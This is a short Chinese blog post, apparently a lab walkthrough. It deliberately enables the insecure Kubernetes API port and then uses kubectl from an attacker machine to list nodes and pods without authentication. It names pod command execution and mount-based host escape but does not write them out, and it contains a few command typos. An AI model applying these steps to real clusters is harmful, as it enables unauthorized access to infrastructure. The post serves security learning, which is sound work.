K8S API 未授权访问
#环境搭建#
1 | #docker=23.0.1 |
这里纠结版本问题尝试了好多次,高版本的k8s没有未授权访问了,改配置直接报错
默认8080端口不开,要修改配置文件
1 | #vim /etc/kubernetes/manifests/kube-apiserver.yaml |
默认insecure-port=0,这个时候表示不安全的端口不开放,insecure-bind-address为哪些IP可以访问,高版本没有这个配置
master机器创建一个nginx的pod
1 | kubectl run nginx --image=nginx |
然后重启k8s服务:system restart kubelet
这样配置好后没有报错的话就可以用其他机器访问了,我这里用kali访问。
kali攻击机器上安装kubelet
1 | curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.19.1/bin/linux/amd64/kubectl |
使用命令获取nodes
1 | ./kubectl -s 192.168.116.132:8080 get nodes |
使用命令获取pods
1 | ./kubectl -s 192.168.116.132:8080 get podss |
攻击测试
方法一:通过命令直接执行获取pod权限
方法二:通过挂在逃逸获取宿主机权
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:K8S API 未授权访问
本文作者:sher10ck
发布时间:2023-02-15, 09:36:09
最后更新:2023-02-15, 16:07:26
原始链接:http://sherlocz.github.io/2023/02/15/K8S-API-未授权访问/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。